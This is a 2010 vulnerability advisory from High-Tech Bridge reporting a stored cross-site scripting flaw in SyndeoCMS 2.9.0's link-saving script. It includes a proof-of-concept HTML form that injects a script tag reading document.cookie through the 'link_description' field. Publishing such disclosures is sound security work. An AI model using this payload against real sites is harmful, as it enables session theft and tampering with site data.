Vulnerability ID: HTB22492 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_syndeocms_1.html Product: SyndeoCMS Vendor: The SyndeoCMS team ( http://www.syndeocms.org/ ) Vulnerable Version: 2.9.0 and Probably Prior Versions Vendor Notification: 12 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the save_link script to properly sanitize user-supplied input in "link_description" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/starnet/index.php?option=modulemanager&module=2&modoption=save_link&suboption=&page_id=3&link_id=2"; method="post" name="main" > <input type="hidden" name="link_category" value="ICT"> <input type="hidden" name="link_title" value="Google"> <input type="hidden" name="link_url" value="http://www.google.com";> <input type="hidden" name="link_description" value='Search Engine."><script>alert(document.cookie)</script>'> <input type="hidden" name="link_sort" value="1"> <input type="hidden" name="page_id" value="3"> <input type="hidden" name="initial" value="1"> <input type="hidden" name="savebutton" value=" Save" >
